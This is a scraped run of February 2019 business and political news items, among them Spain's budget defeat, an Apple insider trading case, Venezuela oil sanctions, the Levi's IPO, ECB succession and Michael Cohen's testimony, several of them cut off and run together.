Thailand, ruled by a junta, is set to hold a general election on March 24.

Spanish Prime Minister Pedro Sanchez attends a debate on the government's 2019 budget during a parliament session in Madrid on February 13, 2019.

Spain's parliament rejected the government's 2019 draft budget on Wednesday, pushing the country to the brink of a national election.

Sources in the government and the Socialist party of Prime Minister Pedro Sanchez told Reuters on Tuesday that he would call a snap election if the draft was rejected, with April 14 or April 28 the most likely dates.

The Socialists hold less than a quarter of the seats in parliament and needed support from smaller regional parties, including the Catalans, to get the budget proposal voted through.

But the Catalan parties, unhappy with the government's refusal to consider or discuss - amongst other issues - an independence referendum for their northeastern region, voted against it, as did the centre-right and the conservatives.

"This shows that the right wing in this country is intent on blocking social progress," Budget Minister Maria Jesus Montero told reporters, in the government's first reaction to the vote.

In all, 191 lawmakers voted against the budget and 158 in favour, with one abstention.

Conservative People's Party leader Pablo Casado called the outcome "a de facto confidence vote against Pedro Sanchez."

Spanish stocks edged lower and Spain's government bond yield spread over safer Germany widened after the vote. Spain's IBEX was the only major euro zone equity index in negative territory.

The political sources said on Wednesday it was not clear yet when the election would be announced.

But they also said Sanchez wanted a ballot as soon as possible to mobilise left-leaning voters following a rally in Madrid on Sunday by three right-wing parties, including the far-right Vox, which has jumped in opinion polls with a rise in anti-Catalan feelings throughout Spain.

The deep divisions between pro-unity Spaniards and secessionists in Catalonia were highlighted on Tuesday with the start of a trial of 12 separatists charged with rebellion following an attempt in October 2017 to secede from Spain.People shop in an Apple retail store in Grand Central Terminal, January 29, 2019 in New York City. Drew Angerer | Getty Images

The Securities and Exchange Commission on Wednesday charged a former Apple executive with insider trading. Gene Levoff, senior director of corporate law and corporate secretary until September, "traded on material nonpublic information about Apple's earnings three times during 2015 and 2016," according to the lawsuit filed Wednesday in the U.S. District Court of New Jersey. "Levoff also had a previous history of insider trading, having traded on Apple's material nonpublic information at least three additional times in 2011 and 2012. For the trading in 2015 and 2016, Levoff profited and avoided losses of approximately $382,000," the complaint says.

Levoff's position at Apple granted him insider access to not-yet-public earnings results and briefings on iPhone sales, the complaint says. On more than one occasion, he disobeyed the company's "blackout" period for stock transactions, selling or buying stock worth tens of millions of dollars, according to the SEC. The agency alleges he bought shares and profited when the stock popped after positive earnings reports, and sold to avoid downturns that followed poor results. Later on Wednesday, the U.S. Department of Justice announced it was charging Levoff with one count of securities fraud. He's set to appear in court on Feb. 20. In a statement to CNBC, Levoff's attorney Kevin Marino said, "We are reviewing the civil and criminal allegations against Mr. Levoff and look forward to defending him in both matters."Energy market participants may be able to adjust to U.S. sanctions against Venezuela's crude industry, the IEA said in its closely-watched report on Tuesday. The report comes at a time when tensions in Venezuela are reaching boiling point, with the oil-rich, but cash-poor, country in the midst of the Western Hemisphere's worst humanitarian crisis in recent memory. President Donald Trump's administration imposed targeted crude sanctions on Caracas late last month. The surprise move was designed to bar President Nicolas Maduro's access to oil revenue that has helped his embattled administration remain in power. "The imposition of sanctions by the United States against Venezuela's state oil company Petroleos de Venezuela (PDVSA) is another reminder of the huge importance for oil of political events," the Paris-based IEA said Tuesday. "Even so, headline benchmark crude oil prices have hardly changed on news of the sanctions. This is because, in terms of crude oil quantity, markets may be able to adjust after initial logistical dislocations," the group added. International benchmark Brent crude traded at around $62.90 Tuesday morning, up 0.8 percent, while U.S. West Texas Intermediate (WTI) stood at $53.46, more than 0.6 percent higher.

Since plummeting more than 40 percent between early October and late December last year, Brent crude has gradually pared some of its losses. Supply issues in OPEC-member Venezuela and OPEC-led production cuts from the start of the year have bolstered crude futures in recent weeks. The IEA said oil prices had not increased "alarmingly" since U.S. sanctions were imposed on Venezuela because the market is still working off the surpluses built up in the second half of 2018  when global supply was estimated to have exceeded demand by 1.3 million barrels per day (b/d). "Crude oil quality is another issue, and, in the wider context of supply in the early part of 2019, it is even more important," the IEA said.

Venezuela, which has the world's largest proven oil reserves, typically produces extra heavy oil. The dense crudes are much more difficult to refine and tend to contain significant quantities of sulfur and other impurities that are costly to remove. Before U.S. sanctions came into force at the end of January, Washington shipped large amounts of naphtha to Venezuela. This would help the oil-rich, but cash-poor, country dilute its extra heavy oil for export around the world. But, "with the import of diluents now sanctioned by the U.S., and problems in producing its own lighter crudes, PDVSA will have a tough job to make enough on spec barrels available for export," the IEA said. In the two weeks since the sanctions were announced, Venezuela's crude exports have reportedly tapered off and shifted toward to cash-paying buyers  such as India. "In quantity terms, in 2019 the U.S. alone will grow its crude oil production by more than Venezuela's current output," the IEA said. "In quality terms, it is more complicated. Quality matters."

OPEC crude output slips to near four-year lowNorth Korean leader Kim Jong Un visits a Samjiyon County farm in this undated photo released by North Korea's Korean Central News Agency. KCNA | Reuters

As North Korea signals a willingness to open up its highly centralized, socialist economy, Vietnam's model of development is being widely suggested as a blueprint for Pyongyang to emulate. Hanoi's ability to retain one-party rule, strict censorship, minimal dissent and a top-down system of control after integrating into the global economy is an attractive prospect for North Korea, according to analysts. If Pyongyang were to ever transition into a market economy, it will likely continue to prioritize regime stability  loosening restrictions on areas such as currency and migration could be politically destabilizing for Kim Jong Un's rule. To gauge lessons for its own future, North Korea has long studied communist governments such as China and Vietnam, countries with state-managed growth that have integrated into the world economy. As Hanoi prepares to host the second U.S.-North Korea summit in late February, experts believe Kim may be more inclined toward Vietnamese-style liberalization. Vietnam's Foreign Minister Pham Binh Minh traveled to Pyongyang on Tuesday following North Korean Foreign Minister Ri Yong Ho's visit to Hanoi last year. That trip was reportedly aimed at studying Vietnam's reforms, according to Yonhap News Agency. Such visits hark back to earlier years such as 2012, when a North Korean delegation visited the Vietnamese province of Thai Binh to examine rural development.

Just last month, Vietnam's parliamentary chairwoman Nguyen Thi Kim Ngan said her country was "willing to share an economic solution and know-how with North Korea," reported South Korean newspaper Maeil Business at the time. Washington is in favor of the idea  U.S. Secretary of State Mike Pompeo said last July that Kim could enjoy an economic miracle akin to Vietnam's if he wished.

Comparing similarities

In many ways, modern North Korea is equivalent to Vietnam in the 1980s, experts say. For one, the Communist Party of Vietnam has ruled the state ever since its independence in 1945 just as the Workers' Party of Korea has always governed North Korea. The two countries "were both under United Nations sanctions, in the case of North Korea, for developing nuclear weapons, and in the case of Vietnam, for occupying a foreign country," the Lowy Institute, an Australian think tank, said in a recent note. Vietnam's invasion of Cambodia in 1978 effectively isolated it from the world, resulting in Hanoi being denied access to international financial support for nearly a decade. Similarly, Pyongyang has long been deemed a pariah state due to its clandestine weapons program.

North Korea has been willing to experiment with reforms under Kim Jong Un Bradley Babson Korea Economic Institute of America

Perhaps the biggest parallel is Pyongyang's desire to reform its economy, just like Hanoi did decades ago, the Lowy Institute note said. In the late 1980s, Vietnam ended its occupation of Cambodia and embraced free-market reforms known as "do moi." That eventually opened the country up and resulted in its present socialist-oriented economy. Vietnam's frontier market is now one of the world's fastest-growing economies, thanks to an expanding middle class, strong manufacturing sector and young population. Kim, meanwhile, has promised to improve domestic development since coming to power in late 2011. "North Korea has been willing to experiment with reforms under Kim Jong Un," said Bradley Babson, who serves on the advisory council of the Korea Economic Institute of America, in a published note on 38North. DPRK is short for Democratic People's Republic of Korea, the North's official title. In 2014, Kim also introduced measures to reduce farm sizes and allow some production for household use and sale in markets, said Babson, a former chairman of the DPRK Economic Forum at Johns Hopkins University's now-shuttered US-Korea Institute. "Since 2016, these reforms have been expanded and greater emphasis has been placed on more decentralized decision-making," he said. Since last year, Kim has also embarked on a peace offensive to improve relations with the international community, reflected by his landmark meetings with the presidents of South Korea and the U.S.

Vietnam's appealNetflix is only getting started in its quest to conquer the globe, if the stock market's expectations are to be believed.

Credit Suisse, in a note to investors on Wednesday titled "What the Market is Implying for Subscribers," outlined why Netflix is expected to more than double its subscriber growth in the next decade.

"The market is embedding 8 percent long-term sales growth," Credit Suisse said, citing a proprietary methodology which seeks to calculate the futures fundamentals of a company that its shares' current valuation implies.

"The market is embedding that NFLX will achieve 335 million subscribers by 2028," the note states.

Netflix currently has just over 148 million subscribers. Its shares are up more than 6,000 percent the last 10 years and 33 percent this year alone.

The market is also implying that Neflix will capture 42 percent of all global broadband households, excluding China, the firm calculates.

Credit Suisse analysts are as bullish, if not more so, than the market's expectations. They predict Netflix will reach 264 million subscribers and 40 percent global penetration in 2022.A pedestrian passes in front of a David's Bridal Inc. store in New York, U.S., on Wednesday, Nov. 14, 2018.

David's Bridal already has something old: 60 years in the bridal industry. Now, having emerged from three months in bankruptcy proceedings, it is trying something new as start-up competition and millennial brides upend its market.

The retailer filed for bankruptcy in November, saddled in debt that partially stemmed from its $1.05 billion sale to private equity firm Clayton Dubilier & Rice in 2012. It emerged from bankruptcy in January, a quick in-and-out made easier after its lenders and equity investors agreed on a new structure.

"We are very happy to be on the other side of it," Chief Executive Officer Scott Key told CNBC.

Now, David's Bridal is looking to conquer the new bridal landscape even as the $2.4 billion bridal-wear industry declines along with the marriage rate. Newer online retailers like Reformation offer brides more relaxed alternatives to traditional gowns. Online retailers like Jasmine Bridal are making their own wedding dresses and selling them for less than gowns sold in stores in the past.

Millennials are also marrying later  though later weddings could lead to more expensive affairs.

"We are making significant investments in improving our overall customer experience," said Key.

Those investments include Blue Print Registry, which David's Bridal acquired last year, giving it technology to help brides plan their registry, import registries from other retailers and register for cash. It unveiled a new commercial in January that reminded brides "most importantly, something you." It is working with its in-house alteration team to help brides customize and personalize their dresses. It is evaluating other ways to help brides streamline wedding planning.

It is also offering more dresses in a broader array of sizes, while making certain dresses available at more price points. It lowered prices of many of its best-selling bridesmaid dresses.

One significant change not in the works is cutting away at its store base. Unlike many retailers that enter bankruptcy to help get rid of bad leases and trim their footprint, David's Bridal emerged with roughly the same 300 or so stores it had across the U.S., Canada, U.K. and in Mexico, through franchise owners. It continues to add to its footprint in Canada, opening up a store in Vaughan, Ontario, last month. It has two stores owned by franchisees in Mexico, with two more in the works.

Barring the occasional exception, most David's Bridal stores are profitable, said Key.

The retailer is also hoping to avert another trend marked by other bankrupt retailers: a second trip back to bankruptcy court. Gymboree filed for the second time earlier this year, while Payless is planning its own potential second trip into bankruptcy court, CNBC has reported, though those plans could still be averted.

While credit ratings agency S&P has said it sees positive signs for the retailer with its "significantly reduced balance sheet debt and a still fairly well-recognized brand name," it has also raised some potential pitfalls. S&P said the bridal retail landscape remains challenging, and there is "execution risk" associated with David's Bridal's new strategies.

Key, though, says he remains confident, in part due to its continuing hold in the bridal market and the changes the company expects to implement.

Out of bankruptcy "we can return to what we do well: servicing one in three brides in the market place," said Key.



Levi Strauss filed the paperwork for an initial public offering Wednesday.

The iconic denim company plans to list on the New York Stock Exchange with the ticker "LEVI."

According to its SEC filing, the San Francisco-based company plans to raise $100 million through the IPO, a placeholder amount used to calculate fees, but CNBC's Leslie Picker previously reported that the company is aiming to raise between $600 million and $800 million.

Levi's said that it plans to use the proceeds from going public for "general corporate purposes," including working capital, operating expenses and capital expenditures. According to the filing, the company sees the opportunity to expand its presence in emerging markets such as China, India and Brazil.

A portion of the proceeds could go to acquisitions or other strategic opportunities, but the company said that it has no current plans to do so.

Levi's reported revenue of $5.58 billion and net income of $283 million during 2018.

Goldman Sachs, J.P. Morgan, Bank of America Merrill Lynch, Morgan Stanley, Evercore ISI, BNP Paribas, Citigroup, Guggenheim Securities, HSBC, Drexel Hamilton, Telsey Advisory Group and the Williams Capital Group are underwriting the IPO.

After the public offering, Levi's will have both Class A and Class B common stock. Class B shareholders will get 10 votes for every Class A vote.

Levi's went public for the first time in 1971, but descendants of the founder took the company private again in 1985. Since then, the company has struggled in the face of changing fashion trends and a highly competitive landscape but has staged a comeback since Chief Executive Officer Chip Bergh took the reins in 2011.

Levi's spokeswoman Amber McCasland declined to comment, citing SEC rules that prohibit formal discussions ahead of the filing.Biden's inner circle has reached out to former staffers from President Barack Obama's administration, and his advisors have been holding conversations about putting together a campaign, according to one person with direct knowledge of the talks.

Biden, who is poised to be the frontrunner if he joins the rapidly growing Democratic field, has indicated he is likely to announce his plans in coming weeks, according to people who have been in touch with him, including some of his confidants.

Biden, 76, has recently signaled to these donors he is leaning toward entering the race, but he had not made a final decision, according to people who spoke on the condition of anonymity.

Former Vice President Joe Biden has been reaching out to top Democratic Party donors to discuss possibly running for president in 2020, CNBC has learned.

People close to Biden have also heard from a few donors, as fundraisers are looking to teach Biden's team about the best methods to appeal to online and small donors, according to people involved with the deliberations.

Biden's outreach to these donors has been part of the former vice president's larger effort to get opinions on him running for president from a wide range of supporters. It's unclear what specific questions Biden has been asking the financiers.

Bill Russo, a spokesman for Biden, declined to comment.

These developments are the latest signs that Biden is gearing up for a potential bid to take on President Donald Trump in 2020. Trump's campaign has become a juggernaut in the fundraising battle. Between his campaign and two joint fundraising committees that work in tandem with the Republican National Committee, Trump has brought in almost $130 million over his first two years in office. During the last three months of the year, the three Trump fundraising entities took in a combined $21 million, records show.

Biden would be joining over a dozen of other Democratic candidates who already have a slight head start in raising cash for what will likely be an expensive primary.

These other candidates  including Sens. Elizabeth Warren, Kirsten Gillibrand, Kamala Harris and Amy Klobuchar  also have a head start in trying to distance themselves from corporate PACs. Instead, they are stressing that they want to depend more on small donors, or people who give $200 and less, in an effort to appeal to the grassroots wing of the Democratic Party.

Klobuchar's campaign on Tuesday announced that she raised $1 million in online and grassroots donations in the 48 hours following her declaration Sunday that she is running.

Biden, on the other hand, has not always had success appealing to small donors.

During his previous run for president in 2008, the then-senator from Delaware raised $13 million, mostly from donors who wrote checks of around $2,300, the most an individual donor could have given to a candidate at the time, according to statistics from the nonpartisan Center for Responsive Politics. He raised just over $3.5 million through donors who maxed out their checkbook, compared with the approximately $305,000 he raised from donations of $200 to $499.

His top donors in 2008 came from people employed at Delaware's legal powerhouse Young Conaway, Bank of America, and real estate investment firm the Adler Group, among others. Only 2 percent of his fundraising total came from PACs that year.

When he ran his successful re-election bid in the Senate in 2002, his fundraising efforts reaped $4.1 million but small contributions came in at $446,462.

However, Biden's American Possibilities PAC appears to have found a way to appeal to small donors. From the end of November through December, the committee received donations ranging from $3 through $5,000, according to the PAC's year end Federal Election Commission filing.

That change seems to be in response to the PAC's online presence. The group's top vendor in the 2018 election cycle was Blue State Digital, a technology and digital fundraising platform. It spent over $280,000 on web ads, and $341,200 on campaign strategy and communications consulting, according to the Center for Responsive Politics.

The group finished the 2018 midterm elections raising $2.6 million and spending $2.5 million.

Even though Biden has yet to enter the race, he still is ahead of his potential Democratic rivals in the polls.

The latest Morning Consult poll has him with a 7-point lead with Democratic Party primary voters. In early primary and caucus states such as Iowa, New Hampshire and South Carolina, he's ahead by 12 points.

Behind him are Sen. Bernie Sanders, Harris and Warren.

The survey involved 11,627 respondents and has a margin of error of plus or minus percentage point. Pollsters for their other survey of early primary participants took place in Iowa, New Hampshire and South Carolina with 527 voters and has a margin of error of plus or minus 4 points.But both celebrations have come under fire lately as women push back on what they see as forced giving. Boyfriends and husbands receive honmei choco ("true feelings chocolate") while other men, such as coworkers, receive giri choco (literally, "obligation chocolate").

But in Japan, the celebration takes on a different tone. Instead of lovers spoiling each other, Japanese tradition calls for women to give chocolates to male colleagues on Feb. 14. Men, then, reciprocate the gift-giving a month later on White Day, "an event dreamed up by chocolate makers in the early 80s to boost sales," according to The Guardian .

In the U.S., we're encouraged on Valentine's Day to treat the ones we love to a romantic dinner, a box of heart-shaped candies or a sweet hand-written card.

Sales staff discuss specialty chocolates with shoppers at a chocolate store on Feb. 12, 2015 in Tokyo, Japan. On Valentine's Day, Japanese women are expected to give chocolates to men. The chocolate giving tradition in Japan has created a booming business with the month leading up to Feb. 14 sometimes accounting for approximately 50 percent of a confectionery companies annual sales.

Valentine's Day comes first, so women set the bar for who receives a treat as well as the caliber of the treat. Such pressure has led women to spend thousands of yen on giri choco for colleagues to avoid causing offense in past years, but now more and more companies are banning this form of gift giving altogether. Forty percent of workers see it as a form of abuse and harassment, according to Japan Today.

In interviews conducted by newsite ANN, Japanese workers favored such bans and said they felt it eased pressures on women and had a positive effect on coworker relationships.

Still, 35 percent of women plan on handing out chocolate treats to male coworkers this year, according to a poll by a Tokyo department store.

More women, though, about 60 percent, plan to indulge in some self-love this Valentine's Day by purchasing chocolates for themselves. Only 36 percent plan to use sweet treats as a love token for partners or crushes.

These company bans on giri choco also seem to be reshaping the country's notions of who gives gifts on Feb. 14. News outlet SoraNews24 recently reported on a growing trend  gyaku choco, or "reverse chocolate"  that has men giving sweets to women. The publication notes that it's still far from the norm.

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Don't miss: This Valentine's Day, get back at your ex by naming a cockroach after them for $2Bill Ackman, founder and CEO of Pershing Square Capital Management. Adam Jeffery | CNBC

Activist investor Bill Ackman's Pershing Square Holdings is off to a strong start in 2019 thanks to some key new stakes and outperformance of prior investments. The hedge fund reported on Wednesday that its portfolio is up 24.7 percent this year, easily topping the S&P 500's 9.7 percent return. This follows four-straight years of negative returns for his fund. According to the latest holdings, the fund's biggest stakes include Restaurant Brands, Lowe's, Chipotle, United Technologies and Automatic Data Processing.

In a presentation, Ackman noted that Chipotle, ADP and Starbucks were among the biggest boosters to the fund this year. He also discussed a smaller position in Hilton.

Chipotle (CMG)

Chipotle continues to prove a lucrative investment for the longtime stock picker, who remains one of the restaurant's largest stakeholders. The burrito chain buoyed Pershing's gross returns by 6.2 percent in 2018 and is up more than 38 percent this year. Ackman, whose initial 2016 investment in Chipotle came at an average price of $405, helped bring aboard Brian Niccol as the company's CEO in March. The former Taco Bell executive has long championed innovation and outside-the-box thinking at his restaurants. Niccol has been pushing digital and marketing investments to bring the company back to consistent growth. Digital orders typically mean a higher check for restaurants, not to mention reducing in-store lines. "Brian and his team have made significant progress turning around Chipotle and reaccelerating growth," Ackman wrote in Pershing Square's shareholder presentation. "Reigniting same-store sales growth is the key priority for 2019." Ackman and his partners are seeing evidence of burgeoning comp sales. Same-store sales grew 6.1 percent in the fourth quarter, topping consensus expectations of 4.49 percent growth; profits also beat analyst expectations when it reported earnings on Feb. 6.

United Technologies (UTX)

Another strong performer for Ackman this year has been United Technologies, the $107 billion Dow component that manufactures industrial equipment like freight elevators and moving walkways. Though the new stake actually weighed on Pershing's performance in 2018, the stock is up more than 17 percent since Jan. 1. United Technologies is a "high-quality industrial conglomerate with market-leading businesses in aerospace, elevators and heating, ventilation, and air conditioning," Ackman's presentation read. The "upcoming business separation should be a catalyst for significant share price appreciation." The activist shareholder added that United Technologies appears well insulted from the current trade dispute between the United States and China and has seen "limited impact" from tariffs. In a 2018 shareholder letter, Ackman said he would explore a breakup of the conglomerate.

Hilton Worldwide Holdings (HLT)Sundar Pichai, chief executive officer of Google Inc., speaks during a news conference in New Delhi, India, on Wednesday, Jan. 4, 2017.

Google's massive footprint is only getting bigger in 2019.

CEO Sundar Pichai said in a blog post on Wednesday that the company is building new data centers and offices and expanding several key locations across the U.S., spending $13 billion this year.

Pichai outlined the plans, which include opening new data centers in Nevada, Ohio, Texas and Nebraska, the first time the company will have infrastructure locations in those states. The company is also doubling its workforce in Virginia, providing greater access to Washington, D.C., with a new office and more data center space, and expanding its New York campus at Hudson Square.

Google is showing its willingness to further open its wallet, after a year in which capital spending more than doubled to $25.46 billion. Far from its roots as an online advertising giant, Google is building out data centers to bolster its cloud-computing division as it tries to keep pace with Amazon Web Services and Microsoft. It's a business that requires providing fast and reliable computing access and resources to large corporations and government agencies.

Data centers also serve Google's core search, Gmail and YouTube products.Undoubtedly the biggest question for the future of the euro this year is who's going to be the next president of the European Central Bank (ECB). President Mario Draghi ends his eight-year mandate in October and market players are anxious to know what direction the central bank will take when his tenure finishes. European officials have told CNBC that a French candidate is well placed to get the top job, but much depends on the upcoming European elections and the subsequent distribution of roles across the EU. "In principle, (France) is well placed (to get the ECB presidency)," a European official with knowledge of the situation but prefered to remain anonymous due to the sensitivity of the issue, told CNBC over the phone.

Benoit Coeure, executive board member of the European Central Bank (ECB). Alex Kraus | Bloomberg | Getty Images

The same official mentioned that France has more than one possible candidate and that Germany is more inclined to seek the presidency of the European Commission, the EU's executive arm, which also becomes available this year. There are two possible French names circulating in European corridors: Benoit Coeure, who is a French economist and currently serves as a member of the executive board of the ECB; and Francois Villeroy de Galhau, who is France's current central bank governor. Both have said they would be keen to succeed Draghi, if asked, according to Bloomberg. A second EU official, who also decided to remain anonymous, told CNBC the decision is totally outside the hands of the ECB. "European leaders will have to decide," the official said. A third European official told CNBC that it's "too early" to know who will replace Draghi, but believed that the French government was deciding whether to put forward its candidates.

Governor of the Bank of France Francois Villeroy de Galhau. Eric Piermont | AFP | Getty Images

What's the process?

European countries are able to name one person to take the ECB job. The nominations are then discussed among the finance ministers of the euro zone as well European lawmakers that sit at the European Parliament. But the final say belongs to the heads of state of the euro area. Therefore, the decision is totally out of the hands of the ECB. In this context, it's important to consider the upcoming EU elections. This vote will open up a number of other European jobs, including a new president for the Commission, the Parliament and even the European Council. The heads of state will discuss and distribute the different roles between the different member nations.

But there are other names being spoken of as possible replacements for Draghi. These include Germany's central bank Governor Jens Weidmann; Finland's current and previous central bank Governor Olli Rehn and Erkki Liikanen respectively; as well as International Monetary Fund chief Christine Lagarde  a French citizen who would also help with the gender balance distribution at the ECB.

What direction to take?

Vitas Vasiliauskas, the central bank governor of Lithuania, told CNBC over the phone that irrespective of who becomes the next ECB president, the central bank needs to think about normalization. "It is quite a difficult question, depends who it will be (the next president). But of course, we should think about normalization of the monetary policy," he said. "But at the same time of course we do not work in the ideal world, so we have to react to economic reality." The ECB has embarked on an ultra-low interest rate environment and massive stimulus package since the euro zone sovereign debt crisis of 2011. Though the central bank has ended its bond buying, rates remain at record lows and are likely to be kept unchanged until at least the end of the summer.

"In my view, what the ECB needs is a continuation of Draghi's 'whatever it takes.' Any departure from that risks a return to doubts about the euro's irreversibility," Panicos Demetriades, who served as governor of the central bank of Cyprus and a member of the governing council of the ECB between 2012 and 2014, told CNBC via email. "With that in mind, the ideal person to continue that policy would be Benoit Coeure, as he was at the heart of the development of that policy and he fully appreciates what a departure from that may mean. Coeure has the advantage that he is well known and greatly appreciated among ECB staff," Demetriades said.

'Whatever it takes'

Draghi will always be remembered for his "whatever it takes" speech. As the sovereign debt crisis hit the 19-member euro zone, Draghi committed in July 2012 to restore the region's economy and save the euro. Analysts suggest his words gave much-needed reassurance to the markets. At the time, three countries were in a bailout program and Spain had also requested financial help to support its banks. The mood was grim, and investors were panicking. Draghi is also likely to be remembered for not raising interest rates throughout his eight-year mandate.Former U.S. Air Force counterintelligence specialist Monica Witt has been indicted on charges of sharing American defense secrets with Iranian government officials, the Department of Justice said Wednesday.

An arrest warrant has been issued for the 39-year-old Witt, who abandoned the U.S. for Iran in 2013, according to Justice Department documents.

The indictment in U.S. District Court in Washington, D.C., charges Witt with conspiring to share national defense information with foreign governments with the intent to hurt the U.S. in Iran's favor.

Witt appeared to hold primarily ideological motivations and allegedly shared information with Iran that could cause "serious damage" to U.S. national security interests, government officials told reporters in a phone call Wednesday morning.

Four Iranian nationals were also charged in the indictment. They are charged with conspiring to commit cybercrimes and identity theft.

"It is a sad day for America when one of its citizens betrays our country," Assistant Attorney General for National Security John Demers said in a statement.

"It is sadder still when this person, as a member of the American armed forces, previously invoked the aid of God to bear true faith and allegiance to the Constitution of the United States and to defend her country against foreign enemies," he said.

Read the full indictment below:Elon Musk's hellish predictions about artificial intelligence are not worth worrying about, tech entrepreneur Sean Parker said Wednesday. Parker, who co-founded the music file sharing site Napster and was Facebook's first president, said he was much more worried by the state of the health-care system. "As much as I love Elon, and he's a great entrepreneur and a friend, his comic book vision of a future in which an artificial superintelligence takes over everything and enslaves the human race is probably not what we should be worrying about," he told CNBC's Hadley Gamble at the Milken Institute MENA Summit in Abu Dhabi.

Musk has in the past warned about the race between global powers to harness the potential of AI, going as far as to say it could result in a third world war. The U.S. is generally considered to be the front runner in the battle to dominate the technology, but China, the world's second-largest economy, has its own ambitions to be a leader in the space. In particular, Musk is critical of the unfettered development of superintelligence  a form of AI smarter than humans  and at one point said it could result in the creation of an "immortal dictator from which we can never escape."

Health presents 'big problems'  and 'huge opportunities'Michael Cohen, President Donald Trump's former personal attorney and fixer, exits federal court, August 21, 2018 in New York City.

President Donald Trump's former lawyer, Michael Cohen, will testify before three congressional committees before he enters prison on March 6, his attorney Lanny Davis said Wednesday.

Those panels include the House Oversight and Government Reform Committee, where Cohen's testimony will be public. Cohen had previously indefinitely postponed his appearance before that committee due to fears for his family's safety.

Davis told CNBC that the date of that upcoming appearance will be released by the House panel. An Oversight Committee staffer declined to release the date on Wednesday.

Cohen's testimony to the Senate Select Committee on Intelligence and the House Intelligence Committee will be closed. The date of the Senate panel appearance has not been made public. Davis declined Wednesday to release it, and a panel spokeswoman said the committee has a policy of not commenting on potential witness appearances.

Cohen is scheduled to testify Feb. 28 before the House panel.

Davis' comments about Cohen's revised plans to testify came a day after Cohen was blasted by Senate Intelligence Committee Chairman Richard Burr, R-N.C., for missing Tuesday's originally scheduled appearance.

Cohen had asked for and received a postponement for that subpoenaed testimony due to lingering medical issues from recent shoulder surgery.

But Burr was fuming Tuesday after learning that Cohen had gone out Saturday night with his wife and friends to a New York City restaurant.

"He's already stiffed us on being in Washington today because of an illness," Burr said Tuesday. "You have ... on Twitter, a reporter reported he was having a wild night Saturday night eating out in New York with five buddies. Didn't seem to have any physical limitations. And he was out with his wife last night."

Davis on Tuesday night disputed Burr's criticism, calling it "inaccurate."

"Mr. Cohen was expected to and continues to suffer from severe post shoulder surgery pain, as confirmed by a letter from his surgeon, which was sent to Senator Burr and [Virginia Democratic Sen. Mark] Warner," Davis said. "The medication Mr. Cohen is currently taking made it impossible for him to testify this week."

During an appearance on MSNBC on Wednesday, Davis called Burr a "good guy," but added, speaking as if Burr was in the room with him, "we're coming in less than two weeks!"

"Your staff probably didn't tell you that when you went on television yesterday," Davis quipped.

Also during that appearance, Davis repeatedly mentioned an online legal defense fund set up for the 52-year-old Cohen.

Davis said Cohen "has been through a very difficult time period, his family's been through a difficult time period, and if I may add, he's got a fund."

"They are having their issues and we would appreciate help on that front," Davis said.

Cohen pleaded guilty in federal court last year to financial crimes, lying to Congress and to campaign finance violations.

He admitted lying to Congress about the extent of Trump's involvement in an ultimately aborted effort to build a Trump Tower in Moscow, and about the date when that effort actually ended.

Cohen also said that Trump directed him to facilitate hush money payments to two women, porn star Stormy Daniels and Playboy model Karen McDougal, to keep them quiet about their alleged affairs with Trump so that the 2016 election would not be affected.

Trump has denied having sex with either woman, and also has denied any wrongdoing.The outlook for the semiconductor sector may be turning positive. Analysts are expecting chip demand to hit bottom before picking up later this year. A number of chip companies said the the first quarter of 2019 will likely see a "cycle bottom" despite offering a poor outlook for the period, Randy Abrams, managing director and head of Taiwan equity research at Credit Suisse, told CNBC on email. Investors would typically attempt to "time the bottom" and "worry about the the rate of recovery later," he said. The downturn cycle in the semiconductor sector "might be much shorter than expected," according to Daniel Yoo, head of global strategy and research at Kiwoom Securities.

Most investors are looking for a turnaround in demand for dynamic random-access memory chip (DRAM) at a time when chipmakers are cutting back on their capital expenditure, said Yoo. This would result in a "sharp adjustment" of the oversupply situation in the semiconductor sector in the second half of 2019, he added. "In fact, parts producers are talking about demand pickup, which could be much stronger than (the) market expects," he said.

Impact of US-China trade warBMW's North American boss has some tough words on tariffs, as automakers await a potentially pivotal decision on tariffs from the Trump administration.

The Commerce Department is expected to deliver a report within days that many industry experts say could deem auto imports into the United States a threat to national security and seek tariffs as high as 25 percent on all vehicles imported into the U.S. The tariffs for most light vehicles is now at 2.5 percent, and there is a long-standing 25 percent tariff on imported pickup trucks.

"If tariffs go up, it's not good for the consumer it's not good for our dealer network it is not good for the economy in total," said Bernhard Kuhnt, CEO of BMW North America told CNBC on Wednesday.

"I'm not at politician, but we'll deal with the consequences," he added.

BMW is a German company that both imports vehicles into the United States and exports them out, many from a factory in Spartanburg, South Carolina  BMW's largest globally. The automaker is expanding production at the plant and expects to hit a near-record level of production this year of more than 400,000 vehicles, most of them premium sport utility vehicles and crossovers which are quickly growing in popularity with buyers both in the United States and around the world. BMW says it is the largest U.S. exporter of vehicles in terms of total sales. It exported $8.8 billion in vehicles in 2017, according to the Commerce Department.President Donald Trump, right, speaks as Tim Cook, CEO of Apple, listens during the American Technology Council roundtable hosted at the White House in Washington, D.C.

Two prominent tech leaders are joining President Donald Trump's advisory board to direct the future of workforce policy, the U.S. Department of Commerce announced Wednesday.

Apple CEO Tim Cook and IBM CEO Ginni Rometty are among the 25 members appointed to the American Workforce Policy Advisory Board, which will work "to develop and implement a strategy to revamp the American workforce to better meet the challenges of the 21st century," according to the announcement. The board will be co-chaired by Commerce Secretary Wilbur Ross and the president's daughter and advisor Ivanka Trump.

The board is part of a government initiative to help bridge the skills gap that is widening in the modern economy due in part to the rise of automation and the increasing need for high-tech skills as artificial intelligence gains the potential to replace more jobs. The board is charged with several tasks to help bridge the skills gap that will bring the country up to speed with advancing technology. Members will work on a national campaign to promote education and training, recommend ways to provide more relevant labor market data and come up strategies to foster efficient private sector investments in education.

To implement their strategies, members of the board will work with the National Council for the American Worker, which was established through executive order by Trump. Beyond tech CEOs, leaders in education, retail and government were also appointed to the board.

In a statement sent through a spokesperson, Rometty said, "Emerging technologies like artificial intelligence will change the way every job is done. I look forward to finding new ways for all Americans to participate in this digital era by building the job skills that are already in demand in our economy."

Apple did not immediately respond to CNBC's request for comment.

Here is the full list of board members:

